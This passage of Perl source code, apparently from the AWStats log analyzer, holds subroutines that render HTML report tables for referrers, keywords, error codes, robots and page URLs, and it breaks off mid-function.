#------------------------------------------------------------------------------
# Function: Prints the Unknown OS Detail frame or static page
# Parameters: $NewLinkTarget
# Input: _
# Output: HTML
# Return: -
#------------------------------------------------------------------------------
sub HTMLShowOSUnknown{
my $NewLinkTarget = shift;
print "$Center<a name=\"unknownos\"> </a><br />\n";
my $title = "$Message[46]";
if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) {
# extend the title to include the added link
$title = "$title - <a href=\"" . (XMLEncode(
"$AddLinkToExternalCGIWrapper" . "?section=UNKNOWNREFERER&baseName=$DirData/$PROG"
. "&month=$MonthRequired&year=$YearRequired&day=$DayRequired"
. "&siteConfig=$SiteConfig" )
. "\"$NewLinkTarget>$Message[179]</a>");
}
&tab_head( "$title", 19, 0, 'unknownos' );
print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>User agent ("
. ( scalar keys %_unknownreferer_l )
. ")</th><th>$Message[9]</th></tr>\n";
my $total_l = 0;
my $count = 0;
&BuildKeyList( $MaxRowsInHTMLOutput, 1, \%_unknownreferer_l,
\%_unknownreferer_l );
foreach my $key (@keylist) {
my $useragent = XMLEncode( CleanXSS($key) );
print "<tr><td class=\"aws\">$useragent</td>";
print "<td nowrap=\"nowrap\">"
. Format_Date( $_unknownreferer_l{$key}, 1 ) . "</td>";
print "</tr>\n";
$total_l += 1;
$count++;
}
my $rest_l = ( scalar keys %_unknownreferer_l ) - $total_l;
if ( $rest_l > 0 ) {
print
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
print "<td>-</td>";
print "</tr>\n";
}
&tab_end();
&html_end(1);
}
#------------------------------------------------------------------------------
# Function: Prints the Referers frame or static page
# Parameters: $NewLinkTarget
# Input: _
# Output: HTML
# Return: -
#------------------------------------------------------------------------------
sub HTMLShowReferers{
my $NewLinkTarget = shift;
print "$Center<a name=\"refererse\"> </a><br />\n";
my $title = "$Message[40]";
if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) {
# extend the title to include the added link
$title = "$title - <a href=\"" . (XMLEncode(
"$AddLinkToExternalCGIWrapper" . "?section=SEREFERRALS&baseName=$DirData/$PROG"
. "&month=$MonthRequired&year=$YearRequired&day=$DayRequired"
. "&siteConfig=$SiteConfig" )
. "\"$NewLinkTarget>$Message[179]</a>");
}
&tab_head( $title, 19, 0, 'refererse' );
print
"<tr bgcolor=\"#$color_TableBGRowTitle\"><th>".Format_Number($TotalDifferentSearchEngines)." $Message[122]</th>";
print
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>";
print
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>";
print "</tr>\n";
my $total_s = 0;
my $total_p = 0;
my $total_h = 0;
my $rest_p = 0;
my $rest_h = 0;
my $count = 0;
&BuildKeyList(
$MaxRowsInHTMLOutput,
$MinHit{'Refer'},
\%_se_referrals_h,
(
( scalar keys %_se_referrals_p )
? \%_se_referrals_p
: \%_se_referrals_h
)
); # before 5.4 only hits were recorded
foreach my $key (@keylist) {
my $newreferer = $SearchEnginesHashLib{$key} || CleanXSS($key);
my $p_p;
my $p_h;
if ($TotalSearchEnginesPages) {
$p_p =
int( $_se_referrals_p{$key} / $TotalSearchEnginesPages *
1000 ) / 10;
}
if ($TotalSearchEnginesHits) {
$p_h =
int( $_se_referrals_h{$key} / $TotalSearchEnginesHits *
1000 ) / 10;
}
print "<tr><td class=\"aws\">$newreferer</td>";
print "<td>"
. (
$_se_referrals_p{$key} ? $_se_referrals_p{$key} : ' ' )
. "</td>";
print "<td>"
. ( $_se_referrals_p{$key} ? "$p_p %" : ' ' ) . "</td>";
print "<td>".Format_Number($_se_referrals_h{$key})."</td>";
print "<td>$p_h %</td>";
print "</tr>\n";
$total_p += $_se_referrals_p{$key};
$total_h += $_se_referrals_h{$key};
$count++;
}
if ($Debug) {
debug(
"Total real / shown : $TotalSearchEnginesPages / $total_p - $TotalSearchEnginesHits / $total_h",
2
);
}
$rest_p = $TotalSearchEnginesPages - $total_p;
$rest_h = $TotalSearchEnginesHits - $total_h;
if ( $rest_p > 0 || $rest_h > 0 ) {
my $p_p;
my $p_h;
if ($TotalSearchEnginesPages) {
$p_p =
int( $rest_p / $TotalSearchEnginesPages * 1000 ) / 10;
}
if ($TotalSearchEnginesHits) {
$p_h = int( $rest_h / $TotalSearchEnginesHits * 1000 ) / 10;
}
print
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
print "<td>" . ( $rest_p ? Format_Number($rest_p) : ' ' ) . "</td>";
print "<td>" . ( $rest_p ? "$p_p %" : ' ' ) . "</td>";
print "<td>".Format_Number($rest_h)."</td>";
print "<td>$p_h %</td>";
print "</tr>\n";
}
&tab_end();
&html_end(1);
}
#------------------------------------------------------------------------------
# Function: Prints the Referer Pages frame or static page
# Parameters: $NewLinkTarget
# Input: _
# Output: HTML
# Return: -
#------------------------------------------------------------------------------
sub HTMLShowRefererPages{
my $NewLinkTarget = shift;
print "$Center<a name=\"refererpages\"> </a><br />\n";
my $total_p = 0;
my $total_h = 0;
my $rest_p = 0;
my $rest_h = 0;
# Show filter form
&HTMLShowFormFilter(
"refererpagesfilter",
$FilterIn{'refererpages'},
$FilterEx{'refererpages'}
);
my $title = "$Message[41]";
if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) {
# extend the title to include the added link
$title = "$title - <a href=\"" . (XMLEncode(
"$AddLinkToExternalCGIWrapper" . "?section=PAGEREFS&baseName=$DirData/$PROG"
. "&month=$MonthRequired&year=$YearRequired&day=$DayRequired"
. "&siteConfig=$SiteConfig" )
. "\"$NewLinkTarget>$Message[179]</a>");
}
my $cpt = 0;
$cpt = ( scalar keys %_pagesrefs_h );
&tab_head( "$title", 19, 0, 'refererpages' );
print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>";
if ( $FilterIn{'refererpages'} || $FilterEx{'refererpages'} ) {
if ( $FilterIn{'refererpages'} ) {
print "$Message[79] <b>$FilterIn{'refererpages'}</b>";
}
if ( $FilterIn{'refererpages'} && $FilterEx{'refererpages'} ) {
print " - ";
}
if ( $FilterEx{'refererpages'} ) {
print
"Exclude $Message[79] <b>$FilterEx{'refererpages'}</b>";
}
if ( $FilterIn{'refererpages'} || $FilterEx{'refererpages'} ) {
print ": ";
}
print "$cpt $Message[28]";
#if ($MonthRequired ne 'all') {
# if ($HTMLOutput{'refererpages'}) { print "<br />$Message[102]: $TotalDifferentPages $Message[28]"; }
#}
}
else { print "$Message[102]: ".Format_Number($cpt)." $Message[28]"; }
print "</th>";
print
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th><th bgcolor=\"#$color_p\" width=\"80\">$Message[15]</th>";
print
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th><th bgcolor=\"#$color_h\" width=\"80\">$Message[15]</th>";
print "</tr>\n";
my $total_s = 0;
my $count = 0;
&BuildKeyList(
$MaxRowsInHTMLOutput,
$MinHit{'Refer'},
\%_pagesrefs_h,
(
( scalar keys %_pagesrefs_p )
? \%_pagesrefs_p
: \%_pagesrefs_h
)
);
foreach my $key (@keylist) {
my $nompage = CleanXSS($key);
if ( length($nompage) > $MaxLengthOfShownURL ) {
$nompage =
substr( $nompage, 0, $MaxLengthOfShownURL ) . "...";
}
my $p_p;
my $p_h;
if ($TotalRefererPages) {
$p_p =
int( $_pagesrefs_p{$key} / $TotalRefererPages * 1000 ) /
10;
}
if ($TotalRefererHits) {
$p_h =
int( $_pagesrefs_h{$key} / $TotalRefererHits * 1000 ) /
10;
}
print "<tr><td class=\"aws\">";
&HTMLShowURLInfo($key);
print "</td>";
print "<td>"
. ( $_pagesrefs_p{$key} ? Format_Number($_pagesrefs_p{$key}) : ' ' )
. "</td><td>"
. ( $_pagesrefs_p{$key} ? "$p_p %" : ' ' ) . "</td>";
print "<td>"
. ( $_pagesrefs_h{$key} ? Format_Number($_pagesrefs_h{$key}) : ' ' )
. "</td><td>"
. ( $_pagesrefs_h{$key} ? "$p_h %" : ' ' ) . "</td>";
print "</tr>\n";
$total_p += $_pagesrefs_p{$key};
$total_h += $_pagesrefs_h{$key};
$count++;
}
if ($Debug) {
debug(
"Total real / shown : $TotalRefererPages / $total_p - $TotalRefererHits / $total_h",
2
);
}
$rest_p = $TotalRefererPages - $total_p;
$rest_h = $TotalRefererHits - $total_h;
if ( $rest_p > 0 || $rest_h > 0 ) {
my $p_p;
my $p_h;
if ($TotalRefererPages) {
$p_p = int( $rest_p / $TotalRefererPages * 1000 ) / 10;
}
if ($TotalRefererHits) {
$p_h = int( $rest_h / $TotalRefererHits * 1000 ) / 10;
}
print
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
print "<td>" . ( $rest_p ? Format_Number($rest_p) : ' ' ) . "</td>";
print "<td>" . ( $rest_p ? "$p_p %" : ' ' ) . "</td>";
print "<td>".Format_Number($rest_h)."</td>";
print "<td>$p_h %</td>";
print "</tr>\n";
}
&tab_end();
&html_end(1);
}
#------------------------------------------------------------------------------
# Function: Prints the Key Phrases frame or static page
# Parameters: $NewLinkTarget
# Input: _
# Output: HTML
# Return: -
#------------------------------------------------------------------------------
sub HTMLShowKeyPhrases{
my $NewLinkTarget = shift;
print "$Center<a name=\"keyphrases\"> </a><br />\n";
my $title = "$Message[43]";
if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) {
# extend the title to include the added link
$title = "$title - <a href=\"" . (XMLEncode(
"$AddLinkToExternalCGIWrapper" . "?section=SEARCHWORDS&baseName=$DirData/$PROG"
. "&month=$MonthRequired&year=$YearRequired&day=$DayRequired"
. "&siteConfig=$SiteConfig" )
. "\"$NewLinkTarget>$Message[179]</a>");
}
&tab_head( $title, 19, 0, 'keyphrases' );
print "<tr bgcolor=\"#$color_TableBGRowTitle\""
. Tooltip(15)
. "><th>".Format_Number($TotalDifferentKeyphrases)." $Message[103]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[14]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n";
my $total_s = 0;
my $count = 0;
&BuildKeyList(
$MaxRowsInHTMLOutput, $MinHit{'Keyphrase'},
\%_keyphrases, \%_keyphrases
);
foreach my $key (@keylist) {
my $mot;
# Convert coded keywords (utf8,...) to be correctly reported in HTML page.
if ( $PluginsLoaded{'DecodeKey'}{'decodeutfkeys'} ) {
$mot = CleanXSS(
DecodeKey_decodeutfkeys(
$key, $PageCode || 'iso-8859-1'
)
);
}
else { $mot = CleanXSS( DecodeEncodedString($key) ); }
my $p;
if ($TotalKeyphrases) {
$p =
int( $_keyphrases{$key} / $TotalKeyphrases * 1000 ) / 10;
}
print "<tr><td class=\"aws\">"
. XMLEncode($mot)
. "</td><td>$_keyphrases{$key}</td><td>$p %</td></tr>\n";
$total_s += $_keyphrases{$key};
$count++;
}
if ($Debug) {
debug( "Total real / shown : $TotalKeyphrases / $total_s", 2 );
}
my $rest_s = $TotalKeyphrases - $total_s;
if ( $rest_s > 0 ) {
my $p;
if ($TotalKeyphrases) {
$p = int( $rest_s / $TotalKeyphrases * 1000 ) / 10;
}
print
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[124]</span></td><td>".Format_Number($rest_s)."</td>";
print "<td>$p %</td></tr>\n";
}
&tab_end();
&html_end(1);
}
#------------------------------------------------------------------------------
# Function: Prints the Keywords frame or static page
# Parameters: $NewLinkTarget
# Input: _
# Output: HTML
# Return: -
#------------------------------------------------------------------------------
sub HTMLShowKeywords{
my $NewLinkTarget = shift;
print "$Center<a name=\"keywords\"> </a><br />\n";
my $title = "$Message[44]";
if ( $AddLinkToExternalCGIWrapper && ($ENV{'GATEWAY_INTERFACE'} || !$StaticLinks) ) {
# extend the title to include the added link
$title = "$title - <a href=\"" . (XMLEncode(
"$AddLinkToExternalCGIWrapper" . "?section=KEYWORDS&baseName=$DirData/$PROG"
. "&month=$MonthRequired&year=$YearRequired&day=$DayRequired"
. "&siteConfig=$SiteConfig" )
. "\"$NewLinkTarget>$Message[179]</a>");
}
&tab_head( $title, 19, 0, 'keywords' );
print "<tr bgcolor=\"#$color_TableBGRowTitle\""
. Tooltip(15)
. "><th>".Format_Number($TotalDifferentKeywords)." $Message[13]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[14]</th><th bgcolor=\"#$color_s\" width=\"80\">$Message[15]</th></tr>\n";
my $total_s = 0;
my $count = 0;
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Keyword'},
\%_keywords, \%_keywords );
foreach my $key (@keylist) {
my $mot;
# Convert coded keywords (utf8,...) to be correctly reported in HTML page.
if ( $PluginsLoaded{'DecodeKey'}{'decodeutfkeys'} ) {
$mot = CleanXSS(
DecodeKey_decodeutfkeys(
$key, $PageCode || 'iso-8859-1'
)
);
}
else { $mot = CleanXSS( DecodeEncodedString($key) ); }
my $p;
if ($TotalKeywords) {
$p = int( $_keywords{$key} / $TotalKeywords * 1000 ) / 10;
}
print "<tr><td class=\"aws\">"
. XMLEncode($mot)
. "</td><td>$_keywords{$key}</td><td>$p %</td></tr>\n";
$total_s += $_keywords{$key};
$count++;
}
if ($Debug) {
debug( "Total real / shown : $TotalKeywords / $total_s", 2 );
}
my $rest_s = $TotalKeywords - $total_s;
if ( $rest_s > 0 ) {
my $p;
if ($TotalKeywords) {
$p = int( $rest_s / $TotalKeywords * 1000 ) / 10;
}
print
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[30]</span></td><td>".Format_Number($rest_s)."</td>";
print "<td>$p %</td></tr>\n";
}
&tab_end();
&html_end(1);
}
#------------------------------------------------------------------------------
# Function: Prints the HTTP Error code frame or static page
# Parameters: $code - the error code we're printing
# Input: _
# Output: HTML
# Return: -
#------------------------------------------------------------------------------
sub HTMLShowErrorCodes{
my $code = shift;
my $title;
my %customtitles = ( "404", "$Message[47]" );
$title = $customtitles{$code} ? $customtitles{$code} :
(join(' ', ( ($httpcodelib{$code} ? $httpcodelib{$code} :
'Unknown error'), "urls (HTTP code " . $code . ")" )));
print "$Center<a name=\"errors$code\"> </a><br />\n";
&tab_head( $title, 19, 0, "errors$code" );
print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>URL ("
. Format_Number(( scalar keys %{$_sider_h{$code}} ))
. ")</th><th bgcolor=\"#$color_h\">$Message[49]</th>";
foreach (split(//, $ShowHTTPErrorsPageDetail)) {
if ( $_ =~ /R/i ) {
print "<th bgcolor=\"#$color_p\" width=\"80\">$Message[23]</th>";
} elsif ( $_ =~ /H/i ) {
print "<th bgcolor=\"#$color_p\" width=\"80\">$Message[81]</th>";
}
}
print "</tr>\n";
my $total_h = 0;
my $count = 0;
&BuildKeyList( $MaxRowsInHTMLOutput, 1, \%{$_sider_h{$code}},
\%{$_sider_h{$code}} );
foreach my $key (@keylist) {
my $nompage = XMLEncode( CleanXSS($key) );
#if (length($nompage)>$MaxLengthOfShownURL) { $nompage=substr($nompage,0,$MaxLengthOfShownURL)."..."; }
my $referer = XMLEncode( CleanXSS( $_referer_h{$code}{$key} ) );
my $host = XMLEncode( CleanXSS( $_err_host_h{$code}{$key} ) );
print "<tr><td class=\"aws\">$nompage</td>";
print "<td>".Format_Number($_sider_h{$code}{$key})."</td>";
foreach (split(//, $ShowHTTPErrorsPageDetail)) {
if ( $_ =~ /R/i ) {
print "<td class=\"aws\">" . ( $referer ? "$referer" : " " ) . "</td>";
} elsif ( $_ =~ /H/i ) {
print "<td class=\"aws\">" . ( $host ? "$host" : " " ) . "</td>";
}
}
print "</tr>\n";
my $total_s += $_sider_h{$code}{$key};
$count++;
}
# TODO Build TotalErrorHits
# if ($Debug) { debug("Total real / shown : $TotalErrorHits / $total_h",2); }
# $rest_h=$TotalErrorHits-$total_h;
# if ($rest_h > 0) {
# my $p;
# if ($TotalErrorHits) { $p=int($rest_h/$TotalErrorHits*1000)/10; }
# print "<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[30]</span></td>";
# print "<td>$rest_h</td>";
# print "<td>...</td>";
# print "</tr>\n";
# }
&tab_end();
&html_end(1);
}
#------------------------------------------------------------------------------
# Function: Loops through any defined extra sections and dumps the info to HTML
# Parameters: _
# Input: _
# Output: HTML
# Return: -
#------------------------------------------------------------------------------
sub HTMLShowExtraSections{
foreach my $extranum ( 1 .. @ExtraName - 1 ) {
my $total_p = 0;
my $total_h = 0;
my $total_k = 0;
if ( $HTMLOutput{"allextra$extranum"} ) {
if ($Debug) { debug( "ExtraName$extranum", 2 ); }
print "$Center<a name=\"extra$extranum\"> </a><br />";
my $title = $ExtraName[$extranum];
&tab_head( "$title", 19, 0, "extra$extranum" );
print "<tr bgcolor=\"#$color_TableBGRowTitle\">";
print "<th>" . $ExtraFirstColumnTitle[$extranum] . "</th>";
if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
print
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[56]</th>";
}
if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
print
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
}
if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
print
"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
}
if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
print "<th width=\"120\">$Message[9]</th>";
}
print "</tr>\n";
$total_p = $total_h = $total_k = 0;
#$max_h=1; foreach (values %_login_h) { if ($_ > $max_h) { $max_h = $_; } }
#$max_k=1; foreach (values %_login_k) { if ($_ > $max_k) { $max_k = $_; } }
my $count = 0;
if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
&BuildKeyList(
$MaxRowsInHTMLOutput,
$MinHitExtra[$extranum],
\%{ '_section_' . $extranum . '_h' },
\%{ '_section_' . $extranum . '_p' }
);
}
else {
&BuildKeyList(
$MaxRowsInHTMLOutput,
$MinHitExtra[$extranum],
\%{ '_section_' . $extranum . '_h' },
\%{ '_section_' . $extranum . '_h' }
);
}
my %keysinkeylist = ();
foreach my $key (@keylist) {
$keysinkeylist{$key} = 1;
my $firstcol = CleanXSS( DecodeEncodedString($key) );
$total_p += ${ '_section_' . $extranum . '_p' }{$key};
$total_h += ${ '_section_' . $extranum . '_h' }{$key};
$total_k += ${ '_section_' . $extranum . '_k' }{$key};
print "<tr>";
printf(
"<td class=\"aws\">$ExtraFirstColumnFormat[$extranum]</td>",
$firstcol, $firstcol, $firstcol, $firstcol, $firstcol );
if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
print "<td>"
. ${ '_section_' . $extranum . '_p' }{$key} . "</td>";
}
if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
print "<td>"
. ${ '_section_' . $extranum . '_h' }{$key} . "</td>";
}
if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
print "<td>"
. Format_Bytes(
${ '_section_' . $extranum . '_k' }{$key} )
. "</td>";
}
if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
print "<td>"
. (
${ '_section_' . $extranum . '_l' }{$key}
? Format_Date(
${ '_section_' . $extranum . '_l' }{$key}, 1 )
: '-'
)
. "</td>";
}
print "</tr>\n";
$count++;
}
# If we ask average or sum, we loop on all other records
if ( $ExtraAddAverageRow[$extranum]
|| $ExtraAddSumRow[$extranum] )
{
foreach ( keys %{ '_section_' . $extranum . '_h' } ) {
if ( $keysinkeylist{$_} ) { next; }
$total_p += ${ '_section_' . $extranum . '_p' }{$_};
$total_h += ${ '_section_' . $extranum . '_h' }{$_};
$total_k += ${ '_section_' . $extranum . '_k' }{$_};
$count++;
}
}
# Add average row
if ( $ExtraAddAverageRow[$extranum] ) {
print "<tr>";
print "<td class=\"aws\"><b>$Message[96]</b></td>";
if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
print "<td>"
. ( $count ? Format_Number(( $total_p / $count )) : " " )
. "</td>";
}
if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
print "<td>"
. ( $count ? Format_Number(( $total_h / $count )) : " " )
. "</td>";
}
if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
print "<td>"
. (
$count
? Format_Bytes( $total_k / $count )
: " "
)
. "</td>";
}
if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
print "<td> </td>";
}
print "</tr>\n";
}
# Add sum row
if ( $ExtraAddSumRow[$extranum] ) {
print "<tr>";
print "<td class=\"aws\"><b>$Message[102]</b></td>";
if ( $ExtraStatTypes[$extranum] =~ m/P/i ) {
print "<td>" . ($total_p) . "</td>";
}
if ( $ExtraStatTypes[$extranum] =~ m/H/i ) {
print "<td>" . ($total_h) . "</td>";
}
if ( $ExtraStatTypes[$extranum] =~ m/B/i ) {
print "<td>" . Format_Bytes($total_k) . "</td>";
}
if ( $ExtraStatTypes[$extranum] =~ m/L/i ) {
print "<td> </td>";
}
print "</tr>\n";
}
&tab_end();
&html_end(1);
}
}
}
#------------------------------------------------------------------------------
# Function: Prints the Robot details frame or static page
# Parameters: _
# Input: _
# Output: HTML
# Return: -
#------------------------------------------------------------------------------
sub HTMLShowRobots{
my $total_p = 0;
my $total_h = 0;
my $total_k = 0;
my $total_r = 0;
my $rest_p = 0;
my $rest_h = 0;
my $rest_k = 0;
my $rest_r = 0;
print "$Center<a name=\"robots\"> </a><br />\n";
my $title = '';
if ( $HTMLOutput{'allrobots'} ) { $title .= "$Message[53]"; }
if ( $HTMLOutput{'lastrobots'} ) { $title .= "$Message[9]"; }
&tab_head( "$title", 19, 0, 'robots' );
print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>"
. Format_Number(( scalar keys %_robot_h ))
. " $Message[51]</th>";
if ( $ShowRobotsStats =~ /H/i ) {
print
"<th bgcolor=\"#$color_h\" width=\"80\">$Message[57]</th>";
}
if ( $ShowRobotsStats =~ /B/i ) {
print
"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[75]</th>";
}
if ( $ShowRobotsStats =~ /L/i ) {
print "<th width=\"120\">$Message[9]</th>";
}
print "</tr>\n";
$total_p = $total_h = $total_k = $total_r = 0;
my $count = 0;
if ( $HTMLOutput{'allrobots'} ) {
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Robot'},
\%_robot_h, \%_robot_h );
}
if ( $HTMLOutput{'lastrobots'} ) {
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'Robot'},
\%_robot_h, \%_robot_l );
}
foreach my $key (@keylist) {
print "<tr><td class=\"aws\">"
. ( $RobotsHashIDLib{$key} ? $RobotsHashIDLib{$key} : $key )
. "</td>";
if ( $ShowRobotsStats =~ /H/i ) {
print "<td>"
. Format_Number(( $_robot_h{$key} - $_robot_r{$key} ))
. ( $_robot_r{$key} ? "+$_robot_r{$key}" : "" ) . "</td>";
}
if ( $ShowRobotsStats =~ /B/i ) {
print "<td>" . Format_Bytes( $_robot_k{$key} ) . "</td>";
}
if ( $ShowRobotsStats =~ /L/i ) {
print "<td>"
. (
$_robot_l{$key}
? Format_Date( $_robot_l{$key}, 1 )
: '-'
)
. "</td>";
}
print "</tr>\n";
#$total_p += $_robot_p{$key}||0;
$total_h += $_robot_h{$key};
$total_k += $_robot_k{$key} || 0;
$total_r += $_robot_r{$key} || 0;
$count++;
}
# For bots we need to count Totals
my $TotalPagesRobots =
0; #foreach (values %_robot_p) { $TotalPagesRobots+=$_; }
my $TotalHitsRobots = 0;
foreach ( values %_robot_h ) { $TotalHitsRobots += $_; }
my $TotalBytesRobots = 0;
foreach ( values %_robot_k ) { $TotalBytesRobots += $_; }
my $TotalRRobots = 0;
foreach ( values %_robot_r ) { $TotalRRobots += $_; }
$rest_p = 0; #$rest_p=$TotalPagesRobots-$total_p;
$rest_h = $TotalHitsRobots - $total_h;
$rest_k = $TotalBytesRobots - $total_k;
$rest_r = $TotalRRobots - $total_r;
if ($Debug) {
debug(
"Total real / shown : $TotalPagesRobots / $total_p - $TotalHitsRobots / $total_h - $TotalBytesRobots / $total_k",
2
);
}
if ( $rest_p > 0 || $rest_h > 0 || $rest_k > 0 || $rest_r > 0 )
{ # All other robots
print
"<tr><td class=\"aws\"><span style=\"color: #$color_other\">$Message[2]</span></td>";
if ( $ShowRobotsStats =~ /H/i ) { print "<td>".Format_Number($rest_h)."</td>"; }
if ( $ShowRobotsStats =~ /B/i ) {
print "<td>" . ( Format_Bytes($rest_k) ) . "</td>";
}
if ( $ShowRobotsStats =~ /L/i ) { print "<td> </td>"; }
print "</tr>\n";
}
&tab_end(
"* $Message[156]" . ( $TotalRRobots ? " $Message[157]" : "" ) );
&html_end(1);
}
#------------------------------------------------------------------------------
# Function: Prints the URL, Entry or Exit details frame or static page
# Parameters: _
# Input: _
# Output: HTML
# Return: -
#------------------------------------------------------------------------------
sub HTMLShowURLDetail{
my $total_p = 0;
my $total_e = 0;
my $total_k = 0;
my $total_x = 0;
# Call to plugins' function ShowPagesFilter
foreach
my $pluginname ( keys %{ $PluginsLoaded{'ShowPagesFilter'} } )
{
my $function = "ShowPagesFilter_$pluginname";
&$function();
}
print "$Center<a name=\"urls\"> </a><br />\n";
# Show filter form
&HTMLShowFormFilter( "urlfilter", $FilterIn{'url'}, $FilterEx{'url'} );
# Show URL list
my $title = '';
my $cpt = 0;
if ( $HTMLOutput{'urldetail'} ) {
$title = $Message[19];
$cpt = ( scalar keys %_url_p );
}
if ( $HTMLOutput{'urlentry'} ) {
$title = $Message[104];
$cpt = ( scalar keys %_url_e );
}
if ( $HTMLOutput{'urlexit'} ) {
$title = $Message[116];
$cpt = ( scalar keys %_url_x );
}
&tab_head( "$title", 19, 0, 'urls' );
print "<tr bgcolor=\"#$color_TableBGRowTitle\"><th>";
if ( $FilterIn{'url'} || $FilterEx{'url'} ) {
if ( $FilterIn{'url'} ) {
print "$Message[79] <b>$FilterIn{'url'}</b>";
}
if ( $FilterIn{'url'} && $FilterEx{'url'} ) { print " - "; }
if ( $FilterEx{'url'} ) {
print "Exclude $Message[79] <b>$FilterEx{'url'}</b>";
}
if ( $FilterIn{'url'} || $FilterEx{'url'} ) { print ": "; }
print Format_Number($cpt)." $Message[28]";
if ( $MonthRequired ne 'all' ) {
if ( $HTMLOutput{'urldetail'} ) {
print
"<br />$Message[102]: ".Format_Number($TotalDifferentPages)." $Message[28]";
}
}
}
else { print "$Message[102]: ".Format_Number($cpt)." $Message[28]"; }
print "</th>";
if ( $ShowPagesStats =~ /P/i ) {
print
"<th bgcolor=\"#$color_p\" width=\"80\">$Message[29]</th>";
}
if ( $ShowPagesStats =~ /B/i ) {
print
"<th class=\"datasize\" bgcolor=\"#$color_k\" width=\"80\">$Message[106]</th>";
}
if ( $ShowPagesStats =~ /E/i ) {
print
"<th bgcolor=\"#$color_e\" width=\"80\">$Message[104]</th>";
}
if ( $ShowPagesStats =~ /X/i ) {
print
"<th bgcolor=\"#$color_x\" width=\"80\">$Message[116]</th>";
}
# Call to plugins' function ShowPagesAddField
foreach
my $pluginname ( keys %{ $PluginsLoaded{'ShowPagesAddField'} } )
{
# my $function="ShowPagesAddField_$pluginname('title')";
# eval("$function");
my $function = "ShowPagesAddField_$pluginname";
&$function('title');
}
print "<th> </th></tr>\n";
$total_p = $total_k = $total_e = $total_x = 0;
my $count = 0;
if ( $HTMLOutput{'urlentry'} ) {
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'File'}, \%_url_e,
\%_url_e );
}
elsif ( $HTMLOutput{'urlexit'} ) {
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'File'}, \%_url_x,
\%_url_x );
}
else {
&BuildKeyList( $MaxRowsInHTMLOutput, $MinHit{'File'}, \%_url_p,
\%_url_p );
}
my $max_p = 1;
my $max_k = 1;
foreach my $key (@keylist) {
if ( $_url_p{$key} > $max_p ) { $max_p = $_url_p{$key}; }
if ( $_url_k{$key} / ( $_url_p{$key} || 1 ) > $max_k ) {
$max_k = $_url_k{$key} / ( $_url_p{$key} || 1 );
}
}
foreach my $key (@keylist) {
print "<tr><td class=\"aws\">";
&HTMLShowURLInfo($key);
print "</td>";
my $bredde_p = 0;
my $bredde_e = 0;
my $bredde_x = 0;
my $bredde_k = 0;
if ( $max_p > 0 ) {
$bredde_p =
int( $BarWidth * ( $_url_p{$key} || 0 ) / $max_p ) + 1;
}
if ( ( $bredde_p == 1 ) && $_url_p{$key} ) { $bredde_p = 2; }
if ( $max_p > 0 ) {
$bredde_e =
int( $BarWidth * ( $_url_e{$key} || 0 ) / $max_p ) + 1;
}
if ( ( $bredde_e == 1 ) && $_url_e{$key} ) { $bredde_e = 2; }
if ( $max_p > 0 ) {
$bredde_x =
int( $BarWidth * ( $_url_x{$key} || 0 ) / $max_p ) + 1;
}
if ( ( $bredde_x == 1 ) && $_url_x{$key} ) { $bredde_x = 2; }
if ( $max_k > 0 ) {
$bredde_k =
int( $BarWidth *
( ( $_url_k{$key} || 0 ) / ( $_url_p{$key} || 1 ) ) /
$max_k ) + 1;
}
if ( ( $bredde_k == 1 ) && $_url_k{$key} ) { $bredde_k = 2; }
if ( $ShowPagesStats =~ /P/i ) {
print "<td>".Format_Number($_url_p{$key})."</td>";
}
if ( $ShowPagesStats =~ /B/i ) {
print "<td>"
. (
$_url_k{$key}
? Format_Bytes(
$_url_k{$key} / ( $_url_p{$key} || 1 )
)
: " "
)
. "</td>";
}
if ( $ShowPagesStats =~ /E/i ) {
print "<td>"
. ( $_url_e{$key} ? Format_Number($_url_e{$key}) : " " ) . "</td>";
}
